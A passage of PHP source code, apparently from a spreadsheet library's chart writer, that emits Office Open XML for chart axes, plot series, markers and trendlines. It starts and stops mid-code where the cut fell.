$this->writeDataLabelsBool($objWriter, 'showLeaderLines', $chartLayout->getShowLeaderLines()); $objWriter->endElement(); // c:dLbls } /** * Write Category Axis. */ private function writeCategoryAxis(XMLWriter $objWriter, ?Title $xAxisLabel, string $id1, string $id2, bool $isMultiLevelSeries, Axis $yAxis): void { // N.B. writeCategoryAxis may be invoked with the last parameter($yAxis) using $xAxis for ScatterChart, etc // In that case, xAxis may contain values like the yAxis, or it may be a date axis (LINECHART). $axisType = $yAxis->getAxisType(); if ($axisType !== '') { $objWriter->startElement("c:$axisType"); } elseif ($yAxis->getAxisIsNumericFormat()) { $objWriter->startElement('c:' . Axis::AXIS_TYPE_VALUE); } else { $objWriter->startElement('c:' . Axis::AXIS_TYPE_CATEGORY); } $majorGridlines = $yAxis->getMajorGridlines(); $minorGridlines = $yAxis->getMinorGridlines(); if ($id1 !== '0') { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id1); $objWriter->endElement(); } $objWriter->startElement('c:scaling'); if (is_numeric($yAxis->getAxisOptionsProperty('logBase'))) { $logBase = $yAxis->getAxisOptionsProperty('logBase') + 0; if ($logBase >= 2 && $logBase <= 1000) { $objWriter->startElement('c:logBase'); $objWriter->writeAttribute('val', (string) $logBase); $objWriter->endElement(); } } if ($yAxis->getAxisOptionsProperty('maximum') !== null) { $objWriter->startElement('c:max'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('maximum')); $objWriter->endElement(); } if ($yAxis->getAxisOptionsProperty('minimum') !== null) { $objWriter->startElement('c:min'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('minimum')); $objWriter->endElement(); } if (!empty($yAxis->getAxisOptionsProperty('orientation'))) { $objWriter->startElement('c:orientation'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('orientation')); $objWriter->endElement(); } $objWriter->endElement(); // c:scaling $objWriter->startElement('c:delete'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('hidden') ?? '0'); $objWriter->endElement(); $objWriter->startElement('c:axPos'); $objWriter->writeAttribute('val', 'b'); $objWriter->endElement(); if ($majorGridlines !== null) { $objWriter->startElement('c:majorGridlines'); $objWriter->startElement('c:spPr'); $this->writeLineStyles($objWriter, $majorGridlines); $this->writeEffects($objWriter, $majorGridlines); $objWriter->endElement(); //end spPr $objWriter->endElement(); //end majorGridLines } if ($minorGridlines !== null && $minorGridlines->getObjectState()) { $objWriter->startElement('c:minorGridlines'); $objWriter->startElement('c:spPr'); $this->writeLineStyles($objWriter, $minorGridlines); $this->writeEffects($objWriter, $minorGridlines); $objWriter->endElement(); //end spPr $objWriter->endElement(); //end minorGridLines } if ($xAxisLabel !== null) { $objWriter->startElement('c:title'); $caption = $xAxisLabel->getCaption(); if ($caption !== null) { $objWriter->startElement('c:tx'); $objWriter->startElement('c:rich'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a::lstStyle $objWriter->startElement('a:p'); if (is_array($caption)) { $caption = $caption[0]; } $this->getParentWriter()->getWriterPartstringtable()->writeRichTextForCharts($objWriter, $caption, 'a'); $objWriter->endElement(); // a:p $objWriter->endElement(); // c:rich $objWriter->endElement(); // c:tx } $layout = $xAxisLabel->getLayout(); $this->writeLayout($objWriter, $layout); $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); // c:overlay $objWriter->endElement(); // c:title } $objWriter->startElement('c:numFmt'); $objWriter->writeAttribute('formatCode', $yAxis->getAxisNumberFormat()); $objWriter->writeAttribute('sourceLinked', $yAxis->getAxisNumberSourceLinked()); $objWriter->endElement(); if (!empty($yAxis->getAxisOptionsProperty('major_tick_mark'))) { $objWriter->startElement('c:majorTickMark'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('major_tick_mark')); $objWriter->endElement(); } if (!empty($yAxis->getAxisOptionsProperty('minor_tick_mark'))) { $objWriter->startElement('c:minorTickMark'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('minor_tick_mark')); $objWriter->endElement(); } if (!empty($yAxis->getAxisOptionsProperty('axis_labels'))) { $objWriter->startElement('c:tickLblPos'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('axis_labels')); $objWriter->endElement(); } $textRotation = $yAxis->getAxisOptionsProperty('textRotation'); $axisText = $yAxis->getAxisText(); if ($axisText !== null || is_numeric($textRotation)) { $objWriter->startElement('c:txPr'); $objWriter->startElement('a:bodyPr'); if (is_numeric($textRotation)) { $objWriter->writeAttribute('rot', Properties::angleToXml((float) $textRotation)); } $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a:lstStyle $this->writeLabelFont($objWriter, ($axisText === null) ? null : $axisText->getFont(), $axisText); $objWriter->endElement(); // c:txPr } $objWriter->startElement('c:spPr'); $this->writeColor($objWriter, $yAxis->getFillColorObject()); $this->writeLineStyles($objWriter, $yAxis, $yAxis->getNoFill()); $this->writeEffects($objWriter, $yAxis); $objWriter->endElement(); // spPr if ($yAxis->getAxisOptionsProperty('major_unit') !== null) { $objWriter->startElement('c:majorUnit'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('major_unit')); $objWriter->endElement(); } if ($yAxis->getAxisOptionsProperty('minor_unit') !== null) { $objWriter->startElement('c:minorUnit'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('minor_unit')); $objWriter->endElement(); } if ($id2 !== '0') { $objWriter->startElement('c:crossAx'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); if (!empty($yAxis->getAxisOptionsProperty('horizontal_crosses'))) { $objWriter->startElement('c:crosses'); $objWriter->writeAttribute('val', $yAxis->getAxisOptionsProperty('horizontal_crosses')); $objWriter->endElement(); } } $objWriter->startElement('c:auto'); // LineChart with dateAx wants '0' $objWriter->writeAttribute('val', ($axisType === Axis::AXIS_TYPE_DATE) ? '0' : '1'); $objWriter->endElement(); $objWriter->startElement('c:lblAlgn'); $objWriter->writeAttribute('val', 'ctr'); $objWriter->endElement(); $objWriter->startElement('c:lblOffset'); $objWriter->writeAttribute('val', '100'); $objWriter->endElement(); if ($axisType === Axis::AXIS_TYPE_DATE) { $property = 'baseTimeUnit'; $propertyVal = $yAxis->getAxisOptionsProperty($property); if (!empty($propertyVal)) { $objWriter->startElement("c:$property"); $objWriter->writeAttribute('val', $propertyVal); $objWriter->endElement(); } $property = 'majorTimeUnit'; $propertyVal = $yAxis->getAxisOptionsProperty($property); if (!empty($propertyVal)) { $objWriter->startElement("c:$property"); $objWriter->writeAttribute('val', $propertyVal); $objWriter->endElement(); } $property = 'minorTimeUnit'; $propertyVal = $yAxis->getAxisOptionsProperty($property); if (!empty($propertyVal)) { $objWriter->startElement("c:$property"); $objWriter->writeAttribute('val', $propertyVal); $objWriter->endElement(); } } if ($isMultiLevelSeries) { $objWriter->startElement('c:noMultiLvlLbl'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Value Axis. * * @param null|string $groupType Chart type */ private function writeValueAxis(XMLWriter $objWriter, ?Title $yAxisLabel, ?string $groupType, string $id1, string $id2, bool $isMultiLevelSeries, Axis $xAxis): void { $objWriter->startElement('c:' . Axis::AXIS_TYPE_VALUE); $majorGridlines = $xAxis->getMajorGridlines(); $minorGridlines = $xAxis->getMinorGridlines(); if ($id2 !== '0') { $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); } $objWriter->startElement('c:scaling'); if (is_numeric($xAxis->getAxisOptionsProperty('logBase'))) { $logBase = $xAxis->getAxisOptionsProperty('logBase') + 0; if ($logBase >= 2 && $logBase <= 1000) { $objWriter->startElement('c:logBase'); $objWriter->writeAttribute('val', (string) $logBase); $objWriter->endElement(); } } if ($xAxis->getAxisOptionsProperty('maximum') !== null) { $objWriter->startElement('c:max'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('maximum')); $objWriter->endElement(); } if ($xAxis->getAxisOptionsProperty('minimum') !== null) { $objWriter->startElement('c:min'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('minimum')); $objWriter->endElement(); } if (!empty($xAxis->getAxisOptionsProperty('orientation'))) { $objWriter->startElement('c:orientation'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('orientation')); $objWriter->endElement(); } $objWriter->endElement(); // c:scaling $objWriter->startElement('c:delete'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('hidden') ?? '0'); $objWriter->endElement(); $objWriter->startElement('c:axPos'); $objWriter->writeAttribute('val', 'l'); $objWriter->endElement(); if ($majorGridlines !== null) { $objWriter->startElement('c:majorGridlines'); $objWriter->startElement('c:spPr'); $this->writeLineStyles($objWriter, $majorGridlines); $this->writeEffects($objWriter, $majorGridlines); $objWriter->endElement(); //end spPr $objWriter->endElement(); //end majorGridLines } if ($minorGridlines !== null && $minorGridlines->getObjectState()) { $objWriter->startElement('c:minorGridlines'); $objWriter->startElement('c:spPr'); $this->writeLineStyles($objWriter, $minorGridlines); $this->writeEffects($objWriter, $minorGridlines); $objWriter->endElement(); //end spPr $objWriter->endElement(); //end minorGridLines } if ($yAxisLabel !== null) { $objWriter->startElement('c:title'); $caption = $yAxisLabel->getCaption(); if ($caption !== null) { $objWriter->startElement('c:tx'); $objWriter->startElement('c:rich'); $objWriter->startElement('a:bodyPr'); $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a:lstStyle $objWriter->startElement('a:p'); if (is_array($caption)) { $caption = $caption[0]; } $this->getParentWriter()->getWriterPartstringtable()->writeRichTextForCharts($objWriter, $caption, 'a'); $objWriter->endElement(); // a:p $objWriter->endElement(); // c:rich $objWriter->endElement(); // c:tx } if ($groupType !== DataSeries::TYPE_BUBBLECHART) { $layout = $yAxisLabel->getLayout(); $this->writeLayout($objWriter, $layout); } $objWriter->startElement('c:overlay'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); // c:overlay $objWriter->endElement(); // c:title } $objWriter->startElement('c:numFmt'); $objWriter->writeAttribute('formatCode', $xAxis->getAxisNumberFormat()); $objWriter->writeAttribute('sourceLinked', $xAxis->getAxisNumberSourceLinked()); $objWriter->endElement(); if (!empty($xAxis->getAxisOptionsProperty('major_tick_mark'))) { $objWriter->startElement('c:majorTickMark'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('major_tick_mark')); $objWriter->endElement(); } if (!empty($xAxis->getAxisOptionsProperty('minor_tick_mark'))) { $objWriter->startElement('c:minorTickMark'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('minor_tick_mark')); $objWriter->endElement(); } if (!empty($xAxis->getAxisOptionsProperty('axis_labels'))) { $objWriter->startElement('c:tickLblPos'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('axis_labels')); $objWriter->endElement(); } $textRotation = $xAxis->getAxisOptionsProperty('textRotation'); $axisText = $xAxis->getAxisText(); if ($axisText !== null || is_numeric($textRotation)) { $objWriter->startElement('c:txPr'); $objWriter->startElement('a:bodyPr'); if (is_numeric($textRotation)) { $objWriter->writeAttribute('rot', Properties::angleToXml((float) $textRotation)); } $objWriter->endElement(); // a:bodyPr $objWriter->startElement('a:lstStyle'); $objWriter->endElement(); // a:lstStyle $this->writeLabelFont($objWriter, ($axisText === null) ? null : $axisText->getFont(), $axisText); $objWriter->endElement(); // c:txPr } $objWriter->startElement('c:spPr'); $this->writeColor($objWriter, $xAxis->getFillColorObject()); $this->writeLineStyles($objWriter, $xAxis, $xAxis->getNoFill()); $this->writeEffects($objWriter, $xAxis); $objWriter->endElement(); //end spPr if ($id1 !== '0') { $objWriter->startElement('c:crossAx'); $objWriter->writeAttribute('val', $id1); $objWriter->endElement(); if ($xAxis->getAxisOptionsProperty('horizontal_crosses_value') !== null) { $objWriter->startElement('c:crossesAt'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('horizontal_crosses_value')); $objWriter->endElement(); } else { $crosses = $xAxis->getAxisOptionsProperty('horizontal_crosses'); if ($crosses) { $objWriter->startElement('c:crosses'); $objWriter->writeAttribute('val', $crosses); $objWriter->endElement(); } } $crossBetween = $xAxis->getCrossBetween(); if ($crossBetween !== '') { $objWriter->startElement('c:crossBetween'); $objWriter->writeAttribute('val', $crossBetween); $objWriter->endElement(); } if ($xAxis->getAxisType() === Axis::AXIS_TYPE_VALUE) { $dispUnits = $xAxis->getAxisOptionsProperty('dispUnitsBuiltIn'); $dispUnits = ($dispUnits == Axis::TRILLION_INDEX) ? Axis::DISP_UNITS_TRILLIONS : (is_numeric($dispUnits) ? (Axis::DISP_UNITS_BUILTIN_INT[(int) $dispUnits] ?? '') : $dispUnits); if (in_array($dispUnits, Axis::DISP_UNITS_BUILTIN_INT, true)) { $objWriter->startElement('c:dispUnits'); $objWriter->startElement('c:builtInUnit'); $objWriter->writeAttribute('val', $dispUnits); $objWriter->endElement(); // c:builtInUnit if ($xAxis->getDispUnitsTitle() !== null) { // TODO output title elements $objWriter->writeElement('c:dispUnitsLbl'); } $objWriter->endElement(); // c:dispUnits } } if ($xAxis->getAxisOptionsProperty('major_unit') !== null) { $objWriter->startElement('c:majorUnit'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('major_unit')); $objWriter->endElement(); } if ($xAxis->getAxisOptionsProperty('minor_unit') !== null) { $objWriter->startElement('c:minorUnit'); $objWriter->writeAttribute('val', $xAxis->getAxisOptionsProperty('minor_unit')); $objWriter->endElement(); } } if ($isMultiLevelSeries) { if ($groupType !== DataSeries::TYPE_BUBBLECHART) { $objWriter->startElement('c:noMultiLvlLbl'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); } } $objWriter->endElement(); } /** * Write Ser Axis, for Surface chart. */ private function writeSerAxis(XMLWriter $objWriter, string $id2, string $id3): void { $objWriter->startElement('c:serAx'); $objWriter->startElement('c:axId'); $objWriter->writeAttribute('val', $id3); $objWriter->endElement(); // axId $objWriter->startElement('c:scaling'); $objWriter->startElement('c:orientation'); $objWriter->writeAttribute('val', 'minMax'); $objWriter->endElement(); // orientation $objWriter->endElement(); // scaling $objWriter->startElement('c:delete'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); // delete $objWriter->startElement('c:axPos'); $objWriter->writeAttribute('val', 'b'); $objWriter->endElement(); // axPos $objWriter->startElement('c:majorTickMark'); $objWriter->writeAttribute('val', 'out'); $objWriter->endElement(); // majorTickMark $objWriter->startElement('c:minorTickMark'); $objWriter->writeAttribute('val', 'none'); $objWriter->endElement(); // minorTickMark $objWriter->startElement('c:tickLblPos'); $objWriter->writeAttribute('val', 'nextTo'); $objWriter->endElement(); // tickLblPos $objWriter->startElement('c:crossAx'); $objWriter->writeAttribute('val', $id2); $objWriter->endElement(); // crossAx $objWriter->startElement('c:crosses'); $objWriter->writeAttribute('val', 'autoZero'); $objWriter->endElement(); // crosses $objWriter->endElement(); //serAx } /** * Get the data series type(s) for a chart plot series. * * @return string[] */ private static function getChartType(PlotArea $plotArea): array { $groupCount = $plotArea->getPlotGroupCount(); if ($groupCount == 1) { $plotType = $plotArea->getPlotGroupByIndex(0)->getPlotType(); $chartType = ($plotType === null) ? [] : [$plotType]; } else { $chartTypes = []; for ($i = 0; $i < $groupCount; ++$i) { $plotType = $plotArea->getPlotGroupByIndex($i)->getPlotType(); if ($plotType !== null) { $chartTypes[] = $plotType; } } $chartType = array_unique($chartTypes); } if (count($chartType) == 0) { throw new WriterException('Chart is not yet implemented'); } return $chartType; } /** * Method writing plot series values. */ private function writePlotSeriesValuesElement(XMLWriter $objWriter, int $val, ?ChartColor $fillColor): void { if ($fillColor === null || !$fillColor->isUsable()) { return; } $objWriter->startElement('c:dPt'); $objWriter->startElement('c:idx'); $objWriter->writeAttribute('val', "$val"); $objWriter->endElement(); // c:idx $objWriter->startElement('c:spPr'); $this->writeColor($objWriter, $fillColor); $objWriter->endElement(); // c:spPr $objWriter->endElement(); // c:dPt } /** * Write Plot Group (series of related plots). * * @param string $groupType Type of plot for dataseries * @param bool $catIsMultiLevelSeries Is category a multi-series category * @param bool $valIsMultiLevelSeries Is value set a multi-series set * @param string $plotGroupingType Type of grouping for multi-series values */ private function writePlotGroup(?DataSeries $plotGroup, string $groupType, XMLWriter $objWriter, bool &$catIsMultiLevelSeries, bool &$valIsMultiLevelSeries, string &$plotGroupingType): void { if ($plotGroup === null) { return; } if (($groupType == DataSeries::TYPE_BARCHART) || ($groupType == DataSeries::TYPE_BARCHART_3D)) { $objWriter->startElement('c:barDir'); $objWriter->writeAttribute('val', $plotGroup->getPlotDirection()); $objWriter->endElement(); } $plotGroupingType = $plotGroup->getPlotGrouping(); if ($plotGroupingType !== null && $groupType !== DataSeries::TYPE_SURFACECHART && $groupType !== DataSeries::TYPE_SURFACECHART_3D) { $objWriter->startElement('c:grouping'); $objWriter->writeAttribute('val', $plotGroupingType); $objWriter->endElement(); } // Get these details before the loop, because we can use the count to check for varyColors $plotSeriesOrder = $plotGroup->getPlotOrder(); $plotSeriesCount = count($plotSeriesOrder); if (($groupType !== DataSeries::TYPE_RADARCHART) && ($groupType !== DataSeries::TYPE_STOCKCHART)) { if ($groupType !== DataSeries::TYPE_LINECHART) { if (($groupType == DataSeries::TYPE_PIECHART) || ($groupType == DataSeries::TYPE_PIECHART_3D) || ($groupType == DataSeries::TYPE_DONUTCHART) || ($plotSeriesCount > 1)) { $objWriter->startElement('c:varyColors'); $objWriter->writeAttribute('val', '1'); $objWriter->endElement(); } else { $objWriter->startElement('c:varyColors'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); } } } $plotSeriesIdx = 0; foreach ($plotSeriesOrder as $plotSeriesIdx => $plotSeriesRef) { $objWriter->startElement('c:ser'); $objWriter->startElement('c:idx'); $adder = array_key_exists(0, $plotSeriesOrder) ? $this->seriesIndex : 0; $objWriter->writeAttribute('val', (string) ($adder + $plotSeriesIdx)); $objWriter->endElement(); $objWriter->startElement('c:order'); $objWriter->writeAttribute('val', (string) ($adder + $plotSeriesRef)); $objWriter->endElement(); $plotLabel = $plotGroup->getPlotLabelByIndex($plotSeriesIdx); $labelFill = null; if ($plotLabel && $groupType === DataSeries::TYPE_LINECHART) { $labelFill = $plotLabel->getFillColorObject(); $labelFill = ($labelFill instanceof ChartColor) ? $labelFill : null; } // Values $plotSeriesValues = $plotGroup->getPlotValuesByIndex($plotSeriesIdx); if ($plotSeriesValues !== false && in_array($groupType, self::CUSTOM_COLOR_TYPES, true)) { $fillColorValues = $plotSeriesValues->getFillColorObject(); if ($fillColorValues !== null && is_array($fillColorValues)) { foreach (($plotSeriesValues->getDataValues() ?? []) as $dataKey => $dataValue) { $this->writePlotSeriesValuesElement($objWriter, $dataKey, $fillColorValues[$dataKey] ?? null); } } } if ($plotSeriesValues !== false && $plotSeriesValues->getLabelLayout()) { $this->writeDataLabels($objWriter, $plotSeriesValues->getLabelLayout()); } // Labels $plotSeriesLabel = $plotGroup->getPlotLabelByIndex($plotSeriesIdx); if ($plotSeriesLabel && ($plotSeriesLabel->getPointCount() > 0)) { $objWriter->startElement('c:tx'); $objWriter->startElement('c:strRef'); $this->writePlotSeriesLabel($plotSeriesLabel, $objWriter); $objWriter->endElement(); $objWriter->endElement(); } // Formatting for the points if ( $plotSeriesValues !== false ) { $objWriter->startElement('c:spPr'); if ($plotLabel && $groupType !== DataSeries::TYPE_LINECHART) { $fillColor = $plotLabel->getFillColorObject(); if ($fillColor !== null && !is_array($fillColor) && $fillColor->isUsable()) { $this->writeColor($objWriter, $fillColor); } } $fillObject = $labelFill ?? $plotSeriesValues->getFillColorObject(); $callLineStyles = true; if ($fillObject instanceof ChartColor && $fillObject->isUsable()) { if ($groupType === DataSeries::TYPE_LINECHART) { $objWriter->startElement('a:ln'); $callLineStyles = false; } $this->writeColor($objWriter, $fillObject); if (!$callLineStyles) { $objWriter->endElement(); // a:ln } } $nofill = $groupType === DataSeries::TYPE_STOCKCHART || (($groupType === DataSeries::TYPE_SCATTERCHART || $groupType === DataSeries::TYPE_LINECHART) && !$plotSeriesValues->getScatterLines()); if ($callLineStyles) { $this->writeLineStyles($objWriter, $plotSeriesValues, $nofill); $this->writeEffects($objWriter, $plotSeriesValues); } $objWriter->endElement(); // c:spPr } if ($plotSeriesValues) { $plotSeriesMarker = $plotSeriesValues->getPointMarker(); $markerFillColor = $plotSeriesValues->getMarkerFillColor(); $fillUsed = $markerFillColor->IsUsable(); $markerBorderColor = $plotSeriesValues->getMarkerBorderColor(); $borderUsed = $markerBorderColor->isUsable(); if ($plotSeriesMarker || $fillUsed || $borderUsed) { $objWriter->startElement('c:marker'); $objWriter->startElement('c:symbol'); if ($plotSeriesMarker) { $objWriter->writeAttribute('val', $plotSeriesMarker); } $objWriter->endElement(); if ($plotSeriesMarker !== 'none') { $objWriter->startElement('c:size'); $objWriter->writeAttribute('val', (string) $plotSeriesValues->getPointSize()); $objWriter->endElement(); // c:size $objWriter->startElement('c:spPr'); $this->writeColor($objWriter, $markerFillColor); if ($borderUsed) { $objWriter->startElement('a:ln'); $this->writeColor($objWriter, $markerBorderColor); $objWriter->endElement(); // a:ln } $objWriter->endElement(); // spPr } $objWriter->endElement(); } } if (($groupType === DataSeries::TYPE_BARCHART) || ($groupType === DataSeries::TYPE_BARCHART_3D) || ($groupType === DataSeries::TYPE_BUBBLECHART)) { $objWriter->startElement('c:invertIfNegative'); $objWriter->writeAttribute('val', '0'); $objWriter->endElement(); } // Trendlines if ($plotSeriesValues !== false) { foreach ($plotSeriesValues->getTrendLines() as $trendLine) { $trendLineType = $trendLine->getTrendLineType(); $order = $trendLine->getOrder(); $period = $trendLine->getPeriod(); $dispRSqr = $trendLine->getDispRSqr(); $dispEq = $trendLine->getDispEq(); $forward = $trendLine->getForward(); $backward = $trendLine->getBackward(); $intercept = $trendLine->getIntercept(); $name = $trendLine->getName(); $trendLineColor = $trendLine->getLineColor(); // ChartColor $objWriter->startElement('c:trendline'); // N.B. lowercase 'ell' if ($name !== '') { $objWriter->startElement('c:name'); $objWriter->writeRawData($name); $objWriter->endElement(); // c:name } $objWriter->startElement('c:spPr'); if (!$trendLineColor->isUsable()) { // use dataSeriesValues line color as a backup if $trendLineColor is null $dsvLineColor = $plotSeriesValues->getLineColor(); if ($dsvLineColor->isUsable()) { $trendLine ->getLineColor() ->setColorProperties($dsvLineColor->getValue(), $dsvLineColor->getAlpha(), $dsvLineColor->getType()); } } // otherwise, hope Excel does the right thing $this->writeLineStyles($objWriter, $trendLine, false); // suppress noFill $objWriter->endElement(); // spPr $objWriter->startElement('c:trendlineType'); // N.B lowercase 'ell' $objWriter->writeAttribute('val', $trendLineType); $objWriter->endElement(); // trendlineType if ($backward !== 0.0) { $objWriter->startElement('c:backward'); $objWriter->writeAttribute('val', "$backward"); $objWriter->endElement(); // c:backward } if ($forward !== 0.0) { $objWriter->startElement('c:forward'); $objWriter->writeAttribute('val', "$forward"); $objWriter->endElement(); // c:forward } if ($intercept !== 0.0) { $objWriter->startElement('c:intercept'); $objWriter->writeAttribute('val', "$intercept"); $objWriter->endElement(); // c:intercept } if ($trendLineType == TrendLine::TRENDLINE_POLYNOMIAL) { $objWriter->startElement('c:order'); $objWriter->writeAttribute('val', $order); $objWriter->endElement(); // order } if ($trendLineType == TrendLine::TRENDLINE_MOVING_AVG) { $objWriter->startElement('c:period'); $objWriter->writeAttribute('val', $period); $objWriter->endElement(); // period } $objWriter->startElement('c:dispRSqr'); $objWriter->writeAttribute('val', $dispRSqr ? '1' : '0'); $objWriter->endElement(); $objWriter->startElement('c:dispEq'); $objWriter->writeAttribute('val', $dispEq ? '1' : '0'); $objWriter->endElement(); if ($groupType === DataSeries::TYPE_SCATTERCHART || $groupType === DataSeries::TYPE_LINECHART) { $objWriter->startElement('c:trendlineLbl'); $objWriter->startElement('c:numFmt'); $objWriter->writeAttribute('formatCode', 'General'); $objWriter->writeAttribute('sourceLinked', '0'); $objWriter->endElement(); // numFmt $objWriter->endElement(); // trendlineLbl } $objWriter->endElement(); // trendline } } // Category Labels $plotSeriesCategory = $plotGroup->getPlotCategoryByIndex($plotSeriesIdx); if ($plotSeriesCategory && ($plotSeriesCategory->getPointCount() > 0)) { $catIsMultiLevelSeries = $catIsMultiLevelSeries || $plotSeriesCategory->isMultiLevelSeries(); if (($groupType == DataSeries::TYPE_PIECHART) || ($groupType == DataSeries::TYPE_PIECHART_3D) || ($groupType == DataSeries::TYPE_DONUTCHART)) { $plotStyle = $plotGroup->getPlotStyle(); if (is_numeric($plotStyle)) { $objWriter->startElement('c:explosion'); $objWriter->writeAttribute('val', $plotStyle); $objWriter->endElement(); } } if (($groupType === DataSeries::TYPE_BUBBLECHART) || ($groupType === DataSeries::TYPE_SCATTERCHART)) { $objWriter->startElement('c:xVal'); } else { $objWriter->startElement('c:cat'); } // xVals (Categories) are not always 'str' // Test X-axis Label's Datatype to decide 'str' vs 'num' $CategoryDatatype = $plotSeriesCategory->getDataType(); if ($CategoryDatatype == DataSeriesValues::DATASERIES_TYPE_NUMBER) { $this->writePlotSeriesValues($plotSeriesCategory, $objWriter, $groupType, 'num'); } else { $this->writePlotSeriesValues($plotSeriesCategory, $objWriter, $groupType, 'str'); } $objWriter->endElement(); } // Values if ($plotSeriesValues) { $valIsMultiLevelSeries = $valIsMultiLevelSeries || $plotSeriesValues->isMultiLevelSeries(); if (($groupType === DataSeries::TYPE_BUBBLECHART) || ($groupType === DataSeries::TYPE_SCATTERCHART)) { $objWriter->startElement('c:yVal'); } else { $objWriter->startElement('c:val'); } $this->writePlotSeriesValues($plotSeriesValues, $objWriter, $groupType, 'num'); $objWriter->endElement(); if ($groupType === DataSeries::TYPE_SCATTERCHART && $plotGroup->getPlotStyle() === 'smoothMarker') { $objWriter->startElement('c:smooth'); $objWriter->writeAttribute('val', $plotSeriesValues->getSmoothLine() ? '1' : '0'); $objWriter->endElement(); } } if ($groupType === DataSeries::TYPE_BUBBLECHART) { if (!empty($plotGroup->getPlotBubbleSizes()[$plotSeriesIdx])) { $objWriter->startElement('c:bubbleSize'); $this->writePlotSeriesValues( $plotGroup->getPlotBubbleSizes()[$plotSeriesIdx], $objWriter, $groupType, 'num' ); $objWriter->endElement(); if ($plotSeriesValues !== false) { $objWriter->startElement('c:bubble3D'); $objWriter->writeAttribute('val', $plotSeriesValues->getBubble3D() ? '1' : '0'); $objWriter->endElement(); } } elseif ($plotSeriesValues !== false) { $this->writeBubbles($plotSeriesValues, $objWriter); } } $objWriter->endElement(); } $this->seriesIndex += $plotSeriesIdx + 1; } /** * Write Plot Series Label. */ private function writePlotSeriesLabel(?DataSeriesValues $plotSeriesLabel, XMLWriter $objWriter): void { if ($plotSeriesLabel === null) { return; } $objWriter->startElement('c:f'); $objWriter->writeRawData($plotSeriesLabel->getDataSource()); $objWriter->endElement(); $objWriter->startElement('c:strCache'); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', (string) $plotSeriesLabel->getPointCount()); $objWriter->endElement(); foreach (($plotSeriesLabel->getDataValues() ?? []) as $plotLabelKey => $plotLabelValue) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotLabelKey); $objWriter->startElement('c:v'); $objWriter->writeRawData($plotLabelValue); $objWriter->endElement(); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Plot Series Values. * * @param string $groupType Type of plot for dataseries * @param string $dataType Datatype of series values */ private function writePlotSeriesValues(?DataSeriesValues $plotSeriesValues, XMLWriter $objWriter, string $groupType, string $dataType = 'str'): void { if ($plotSeriesValues === null) { return; } if ($plotSeriesValues->isMultiLevelSeries()) { $levelCount = $plotSeriesValues->multiLevelCount(); $objWriter->startElement('c:multiLvlStrRef'); $objWriter->startElement('c:f'); $objWriter->writeRawData($plotSeriesValues->getDataSource()); $objWriter->endElement(); $objWriter->startElement('c:multiLvlStrCache'); $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', (string) $plotSeriesValues->getPointCount()); $objWriter->endElement(); for ($level = 0; $level < $levelCount; ++$level) { $objWriter->startElement('c:lvl'); foreach (($plotSeriesValues->getDataValues() ?? []) as $plotSeriesKey => $plotSeriesValue) { if (isset($plotSeriesValue[$level])) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', $plotSeriesKey); $objWriter->startElement('c:v'); $objWriter->writeRawData($plotSeriesValue[$level]); $objWriter->endElement(); $objWriter->endElement(); } } $objWriter->endElement(); } $objWriter->endElement(); $objWriter->endElement(); } else { $objWriter->startElement('c:' . $dataType . 'Ref'); $objWriter->startElement('c:f'); $objWriter->writeRawData($plotSeriesValues->getDataSource()); $objWriter->endElement(); $count = $plotSeriesValues->getPointCount(); $source = $plotSeriesValues->getDataSource(); $values = $plotSeriesValues->getDataValues(); if ($count > 1 || ($count === 1 && is_array($values) && array_key_exists(0, $values) && "=$source" !== (string) $values[0])) { $objWriter->startElement('c:' . $dataType . 'Cache'); if (($groupType != DataSeries::TYPE_PIECHART) && ($groupType != DataSeries::TYPE_PIECHART_3D) && ($groupType != DataSeries::TYPE_DONUTCHART)) { if (($plotSeriesValues->getFormatCode() !== null) && ($plotSeriesValues->getFormatCode() !== '')) { $objWriter->startElement('c:formatCode'); $objWriter->writeRawData($plotSeriesValues->getFormatCode()); $objWriter->endElement(); } } $objWriter->startElement('c:ptCount'); $objWriter->writeAttribute('val', (string) $plotSeriesValues->getPointCount()); $objWriter->endElement(); $dataValues = $plotSeriesValues->getDataValues(); if (!empty($dataValues)) { foreach ($dataValues as $plotSeriesKey => $plotSeriesValue) { $objWriter->startElement('c:pt'); $objWriter->writeAttribute('idx', 